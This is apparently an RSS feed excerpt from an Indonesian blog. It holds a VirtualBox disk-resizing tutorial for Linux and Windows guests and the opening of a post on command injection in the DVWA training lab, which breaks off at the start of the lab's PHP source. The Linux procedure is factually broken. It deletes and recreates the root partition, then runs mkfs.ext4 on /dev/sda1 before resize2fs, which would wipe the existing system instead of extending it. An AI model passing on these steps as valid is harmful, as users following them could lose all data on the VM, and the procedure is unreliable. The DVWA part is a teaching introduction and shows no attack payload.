&lt;strong&gt;“Size”&lt;/strong&gt; di bawah tersebut atau langsung mengetikkan ukuran yang diinginkan. Di sini saya akan menambahkan 10 GB dari 20 GB, jadi saya akan langsung ketikkan 30 GB di kolom tersebut. Kemudian klik &lt;strong&gt;Apply&lt;/strong&gt;.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Pastikan disk utama (SSD atau Hardisk) yang digunakan sebagai “host” untuk Virtualbox memiliki kapasitas ukuran yang memadai.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Increasing VM disk from 20 GB to 30 GB&quot; loading=&quot;lazy&quot; width=&quot;638&quot; height=&quot;459&quot; src=&quot;/_astro/2.ChcNWnxz_2m9Lmk.webp&quot; /&gt;&lt;figcaption&gt;Increasing VM disk from 20 GB to 30 GB&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Login ke VM&lt;a href=&quot;#3-login-ke-vm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikutnya, kita perlu masuk ke VM untuk mengkonfigurasi disk yang baru saja ditambahkan tadi. Nah, untuk melihat ukuran disk VM-nya, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lsblk&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;lsblk&quot; loading=&quot;lazy&quot; width=&quot;576&quot; height=&quot;272&quot; src=&quot;/_astro/3.CBEAbrR4_1g4Rgt.webp&quot; /&gt;&lt;figcaption&gt;lsblk&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Terlihat ukuran &lt;strong&gt;&lt;code&gt;/dev/sda&lt;/code&gt;&lt;/strong&gt; sudah 30 GB, tapi partisinya masih sama seperti ketika masih 20 GB, yaitu 19 GB ext4 dan 1 GB SWAP. Hal yang wajar, karena memang 10 GB yang baru saja ditambahkan masih berupa disk kosong yang belum dialokasikan dan belum diformat. Oleh sebab itu, langkah-langkah berikutnya akan terkait dengan pengalokasian ulang disk dan kemudian pem-format-an disk.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Non-aktifkan SWAP&lt;a href=&quot;#4-non-aktifkan-swap&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Langkah pertama untuk mulai mengatur ulang dan memformat disk, kita mula-mula perlu me-non-aktifkan SWAP dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;swapoff&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;swap off&quot; loading=&quot;lazy&quot; width=&quot;546&quot; height=&quot;425&quot; src=&quot;/_astro/4.CELhC2u__Z1wtbFS.webp&quot; /&gt;&lt;figcaption&gt;swap off&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Perhatikan bahwa saya me-non-aktifkan SWAP di &lt;strong&gt;&lt;code&gt;/dev/sda5&lt;/code&gt;&lt;/strong&gt; karena memang disitulah file SWAP saya dijalankan. Kalian perlu menyesuaikannya dengan kondisi.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Menggunakan &lt;code&gt;cfdisk&lt;/code&gt;&lt;a href=&quot;#5-menggunakan-cfdisk&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pada tahap ini, kita akan mulai mengatur dan memformat ulang partisi yang sudah ada. Itu artinya, kita akan mulai menghapus partisi yang sudah ada, kemudian nanti membuat partisi baru lagi, dan dilanjutkan dengan memformat partisi baru tersebut. Untuk memulai proses ini, kita akan menggunakan &lt;em&gt;utility&lt;/em&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Cfdisk&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;&lt;code&gt;cfdisk&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cfdisk&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;cfdisk&quot; loading=&quot;lazy&quot; width=&quot;974&quot; height=&quot;654&quot; src=&quot;/_astro/5.C0sZ-Hu1_Z29aaRJ.webp&quot; /&gt;&lt;figcaption&gt;cfdisk&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Terlihat bahwa terdapat partisi &lt;em&gt;free space&lt;/em&gt; 10 GB yang tampak di &lt;strong&gt;&lt;code&gt;cfdisk&lt;/code&gt;&lt;/strong&gt;. Itulah partisi yang baru saja ditambahkan di awal.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Instalasi cfdisk&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Secara umum, di linux &lt;strong&gt;&lt;code&gt;cfdisk&lt;/code&gt;&lt;/strong&gt; &lt;em&gt;by default&lt;/em&gt; sudah ter-&lt;em&gt;install&lt;/em&gt; bersamaan dengan instalasi OS-nya pertama kali. Jadi, tidak perlu melakukan instalasi lagi. Tapi, &lt;em&gt;just in case&lt;/em&gt; &lt;strong&gt;&lt;code&gt;cfdisk&lt;/code&gt;&lt;/strong&gt; belum ada di distro linux kalian, &lt;strong&gt;&lt;code&gt;cfdisk&lt;/code&gt;&lt;/strong&gt; bisa di-&lt;em&gt;install&lt;/em&gt; dengan &lt;em&gt;package manager&lt;/em&gt; masing-masing distro:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install fdisk&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy util-linux&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install fdisk&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install fdisk&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;6. Menghapus &amp;amp; memformat ulang partisi&lt;a href=&quot;#6-menghapus--memformat-ulang-partisi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang adalah masa-masa yang paling krusial karena kita akan melakukan proses inti dari tujuan artikel ini, yaitu menambahkan partisi baru ke disk yang ada di VM kita menggunakan utility &lt;strong&gt;&lt;code&gt;cfdisk&lt;/code&gt;&lt;/strong&gt; tadi. Berikut adalah &lt;em&gt;step by step&lt;/em&gt; langkahnya:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. Hapus seluruh partisi yang ada.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Kita akan menghapus partisi ext4 (&lt;strong&gt;&lt;code&gt;/dev/sda1&lt;/code&gt;&lt;/strong&gt;) dan juga partisi SWAP (&lt;strong&gt;&lt;code&gt;/dev/sda2&lt;/code&gt;&lt;/strong&gt; &amp;amp; &lt;strong&gt;&lt;code&gt;/dev/sda5&lt;/code&gt;&lt;/strong&gt;). Hal ini dilakukan agar partisi ext4 sekarang yang hanya 19 GB dapat di-&lt;em&gt;extend&lt;/em&gt; ke partisi baru yang 10 GB sehingga nanti akan menjadi 29 GB. Kita tidak bisa melakukan &lt;em&gt;extend&lt;/em&gt; partisi ext4 yang sekarang 19 GB ke partisi baru 10 GB secara langsung sekarang karena terhalang oleh partisi SWAP di tengah (partisi SWAP &lt;strong&gt;&lt;code&gt;/dev/sda5&lt;/code&gt;&lt;/strong&gt; ada diantara partisi ext4 &lt;strong&gt;&lt;code&gt;/dev/sda1&lt;/code&gt;&lt;/strong&gt; dan partisi &lt;em&gt;free space&lt;/em&gt;) sehingga kita perlu menghapus partisi SWAP terlebih dahulu supaya nanti partisi SWAP-nya bisa diatur kembali agar posisinya berada di belakang / di akhir.&lt;/p&gt;&lt;p&gt;Cara menghapusnya, kita hanya perlu meletakkan &lt;em&gt;highlight&lt;/em&gt; kursornya yang berwarna putih ke partisi yang akan dihapus dengan menggunakan &lt;em&gt;arrow key&lt;/em&gt; &lt;em&gt;up&lt;/em&gt; dan &lt;em&gt;down&lt;/em&gt; di keyboard. Kemudian, kita arahkan &lt;em&gt;highlight&lt;/em&gt; kursor di bagian bawah ke &lt;strong&gt;“Delete”&lt;/strong&gt; menggunakan &lt;em&gt;arrow key&lt;/em&gt; &lt;em&gt;right&lt;/em&gt; dan &lt;em&gt;left&lt;/em&gt; di keyboard. Lalu tekan Enter. Lakukan ke semua partisi yang terdaftar hingga semua partisi menjadi satu partisi &lt;em&gt;free space&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;2. Buat partisi baru.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Buat minimal 2 partisi baru. Saya akan buat dua partisi, yang pertama untuk ext4 di &lt;strong&gt;&lt;code&gt;/dev/sda1&lt;/code&gt;&lt;/strong&gt; dengan size 29 GB dan partisi kedua 1 GB untuk SWAP di &lt;strong&gt;&lt;code&gt;/dev/sda2&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Caranya, pilih &lt;strong&gt;“New”&lt;/strong&gt; pada partisi &lt;em&gt;free space&lt;/em&gt; tadi (di saya 30 GB), kemudian sesuaikan ukuran untuk membuat partisi pertama, yaitu ext4, saya akan buat 29 GB, lalu Enter, dan pilih &lt;strong&gt;“primary”&lt;/strong&gt;. Nanti akan ada sisa satu partisi kosong (&lt;em&gt;free space&lt;/em&gt;) yang akan kita gunakan sebagai SWAP. Caranya, arahkan &lt;em&gt;highlight&lt;/em&gt; kursor-nya ke partisi kosong tersebut, pilih &lt;strong&gt;“New”&lt;/strong&gt;, biarkan &lt;em&gt;partition size&lt;/em&gt;-nya &lt;em&gt;default&lt;/em&gt;, lalu berikutnya pilih &lt;strong&gt;“primary”&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Sekarang, sudah ada 2 partisi baru, tapi partisi SWAP (yang 1 GB) masih belum diganti file system-nya ke SWAP. Jadi, kita perlu menggantinya terlebih dahulu. Caranya, arahkan highlight kursos ke partisi SWAP, kemudian pilih &lt;strong&gt;“Type”&lt;/strong&gt;, pilih &lt;strong&gt;“82 Linux swap / Solaris”&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Terakhir, pilih &lt;strong&gt;“Write”&lt;/strong&gt; untuk menuliskan perubahan partisi yang baru saja kita lakukan ke disk dan ketik &lt;strong&gt;yes&lt;/strong&gt; jika ada pesan konfirmasi. Setelah itu, kita bisa keluar &lt;strong&gt;&lt;code&gt;cfdik&lt;/code&gt;&lt;/strong&gt; dengan memilih &lt;strong&gt;“Quit”&lt;/strong&gt; di menu di bawah atau menekan tombol &lt;strong&gt;q&lt;/strong&gt; di keyboard. Untuk melihat dan memastikan partisi baru kita sudah berhasil dibuat, kita bisa kembali menggunakan &lt;strong&gt;&lt;code&gt;lsblk&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Berikut video untuk menghapus &amp;amp; membuat partisi baru dengan &lt;strong&gt;&lt;code&gt;cfdisk&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;3. Memformat partisi baru&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Memformat partisi &lt;strong&gt;&lt;code&gt;/dev/sda2&lt;/code&gt;&lt;/strong&gt; ke SWAP:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mkswap&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;swapon&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Memformat partisi &lt;strong&gt;&lt;code&gt;/dev/sda1&lt;/code&gt;&lt;/strong&gt; ke ext4 sekaligus &lt;em&gt;extend&lt;/em&gt; ukurannya ke 29 GB:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mkfs.ext4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;resize2fs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;formatting partition&quot; loading=&quot;lazy&quot; width=&quot;1225&quot; height=&quot;746&quot; src=&quot;/_astro/6.a__zY7x2_1jmxV2.webp&quot; /&gt;&lt;figcaption&gt;formatting partition&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Selesai!&lt;/p&gt;&lt;p&gt;Kita sudah berhasil menyelesaikan proses penambahan ukuran disk ke VM di linux (Debian). Jika kalian menggunakan distro linux atau UNIX yang lain, silakan disesuaikan karena pada dasarnya perintah dan langkah-langkahnya relatif sama saja, hanya akan beda di &lt;em&gt;package manager&lt;/em&gt; saja (itupun kalau memerlukan &lt;em&gt;package manager&lt;/em&gt;).&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Windows&lt;a href=&quot;#windows&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Saya juga punya sebuah VM Windows 7 dengan ukuran disk 20 GB yang terdaftar sebagai drive *&lt;em&gt;C:*&lt;/em&gt; yang akan saya tambahkan 10 GB. Walaupun pada tutorial ini saya menggunakan Windows 7, akan tetapi, cara menambahkan ukuran disk di Windows di bawah ini dapat dipraktekkan juga untuk versi-versi Windows lainnya, seperti Windows 10 dan Windows 11.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Properties di Virtualbox&lt;a href=&quot;#properties-di-virtualbox&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Seperti biasa, untuk meng-&lt;em&gt;increase&lt;/em&gt; VM &lt;em&gt;disk size&lt;/em&gt;- VM Windows-nya, di Virtualbox kita bisa menujuk &lt;strong&gt;“Tools -&amp;gt; Media -&amp;gt; Properties”&lt;/strong&gt;, kemudian klik file &lt;strong&gt;.vdi&lt;/strong&gt; yang ingin ditambahkan ukuran disk-nya. Di sini saya akan pilih VM Windows 7 saya (Windows7 Clone).&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;917&quot; height=&quot;568&quot; src=&quot;/_astro/w-1.CsrAOs_C_1vcBqk.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Menambahkan VM disk size&lt;a href=&quot;#menambahkan-vm-disk-size&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Tinggal tambahkan berapa jumlah tambahan disk-nya. Seperti rencana awal, saya akan menambahkan 10 GB ke disk Windows 7 saya yang 20 GB. Berarti, saya akan tulis / ketik jumlah total ukuran disk-nya, yaitu 30 GB. Klik &lt;strong&gt;“Apply”&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;637&quot; height=&quot;471&quot; src=&quot;/_astro/w-2.dQsNWITU_Z2tRklX.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Login ke VM&lt;a href=&quot;#login-ke-vm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Selanjutnya, kita perlu login ke VM yang baru saja kita tambahkan ukuran disk-nya. Untuk melihat jumlah disk dan partisinya di Windows, kita perlu pergi ke &lt;strong&gt;“Disk Management”&lt;/strong&gt;. Salah satu cara untuk membuka aplikasi &lt;strong&gt;Disk Management&lt;/strong&gt; di Windows adalah dengan menggunakan &lt;em&gt;shortcut&lt;/em&gt; &lt;strong&gt;“Ctrl+r”&lt;/strong&gt;, kemudian akan muncul &lt;em&gt;prompt&lt;/em&gt; &lt;strong&gt;Run&lt;/strong&gt; yang akan kita isi dengan &lt;strong&gt;diskmgmt.msc&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;470&quot; height=&quot;306&quot; src=&quot;/_astro/w-3.DAVSQoAr_ZrXt4i.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sekarang, kita bisa melihat ada 10 GB disk baru (&lt;em&gt;unallocated&lt;/em&gt;):&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;966&quot; height=&quot;597&quot; src=&quot;/_astro/w-4.CzKZfmOu_ZlI1CG.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Extend disk size&lt;a href=&quot;#extend-disk-size&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Nah, di sini, saya akan menambahkan 10 GB tersebut ke drive &lt;strong&gt;(C:)&lt;/strong&gt; yang saat ini disk-nya berukuran 20 GB sehingga nanti drive &lt;strong&gt;(C:)&lt;/strong&gt; akan menjadi 30 GB ukuran disk-nya:&lt;/p&gt;&lt;p&gt;Caranya,&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;klik kanan di drive &lt;strong&gt;(C:)&lt;/strong&gt;, pilih &lt;strong&gt;“Extend Volume”&lt;/strong&gt;,&lt;/li&gt;
&lt;li&gt;pada bagian “Welcome …” di window “Extend Volume Wizard” klik &lt;strong&gt;“Next”&lt;/strong&gt;,&lt;/li&gt;
&lt;li&gt;kemudian pastikan jumlah &lt;em&gt;space&lt;/em&gt; yang ingin ditambahkan pada kolom “Select the amount of space in MB” sudah sesuai dengan “Maximum available space in MB” karena kita akan menambahkan seluruh &lt;em&gt;free space&lt;/em&gt; tadi (10 GB) ke drive &lt;strong&gt;(C:)&lt;/strong&gt;, klik &lt;strong&gt;“Next”&lt;/strong&gt;,&lt;/li&gt;
&lt;li&gt;dan klik &lt;strong&gt;“Finish”&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Untuk memperjelas, berikut adalah video &lt;em&gt;extend disk size&lt;/em&gt; di Windows:&lt;/p&gt;&lt;p&gt;Selesai!&lt;/p&gt;&lt;p&gt;Kita sudah berhasil menambahkan &lt;em&gt;disk size&lt;/em&gt; untuk VM Windows di Virtualbox. Untuk memastikannya, kita bisa membuka “File Explorer” dan melihat ukuran drive &lt;strong&gt;(C:)&lt;/strong&gt; -nya.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://www.chatgpt.com/&quot; target=&quot;_blank&quot;&gt;www.chatgpt.com/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=pVjDFBdBQ7I&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/watch?v=pVjDFBdBQ7I&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>DVWA - Command Injection</title><link>https://shangdi.github.io/posts/tech/commandinjection/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/commandinjection/</guid><description>Command injection is a simple yet still pretty common and relevant vulnerability in the real world even nowadays...</description><pubDate>Sun, 13 Oct 2024 10:04:53 GMT</pubDate><content:encoded>&lt;p&gt;Sesuai dengan namanya, &lt;em&gt;&lt;strong&gt;Command Injection&lt;/strong&gt;&lt;/em&gt; adalah kerentanan pada aplikasi web yang memungkinkan seorang penyerang dapat meng-&lt;em&gt;execute&lt;/em&gt; perintah-perintah sistem operasi. Misalnya, &lt;em&gt;commands&lt;/em&gt; sistem operasi Linux ada &lt;strong&gt;&lt;code&gt;pwd&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;ls&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;cat&lt;/code&gt;&lt;/strong&gt;, dan lain sebagainya. &lt;em&gt;Command injection&lt;/em&gt; dapat terjadi disebabkan oleh tidak kurangnya perhatian seorang developer web terhadap &lt;strong&gt;validasi input&lt;/strong&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Untuk membuktikan, kita mula-mula akan melihat demonstrasinya command injection terlebih dahulu melalui DVWA yang sudah kita &lt;em&gt;install&lt;/em&gt; dan &lt;em&gt;set up&lt;/em&gt; di artikel sebelumnya. Setelah login ke DVWA dengan credensial default, &lt;mark&gt; &lt;strong&gt;admin&lt;/strong&gt;&lt;/mark&gt;, pergi ke menu &lt;strong&gt;Command Injection&lt;/strong&gt;. Di sana, ada &lt;em&gt;form&lt;/em&gt; &lt;strong&gt;&lt;code&gt;ping&lt;/code&gt;&lt;/strong&gt; dan kita bisa meng-&lt;em&gt;input&lt;/em&gt;-kan &lt;em&gt;ip address&lt;/em&gt; untuk di-&lt;strong&gt;&lt;code&gt;ping&lt;/code&gt;&lt;/strong&gt;. Kita bisa coba dengan memasukkan &lt;em&gt;ip address&lt;/em&gt; komputer kita dan nanti &lt;em&gt;output&lt;/em&gt; &lt;strong&gt;&lt;code&gt;ping&lt;/code&gt;&lt;/strong&gt;-nya akan tampil di bawah &lt;em&gt;form&lt;/em&gt; tersebut.&lt;/p&gt;

&lt;p&gt;Sekarang, kita akan lihat &lt;em&gt;source code&lt;/em&gt; yang ada di belakangnya, berikut:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; &lt;em&gt;Source code&lt;/em&gt;-nya bisa dilihat di bagian bawah halaman website pada bagian &lt;strong&gt;“View Source”&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;php&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;?&lt;/span&gt;&lt;/span&gt;&lt;span&gt;php&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;( &lt;/span&gt;&lt;span&gt;isset&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$_POST&lt;/span&gt;&lt;span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;Submit&apos;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;) ) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;// Get input&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;$target&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$_REQUEST&lt;/span&gt;&lt;span&gt;[ &lt;/span&gt;&lt;span&gt;&apos;ip&apos;&lt;/span&gt;&lt;span&gt; 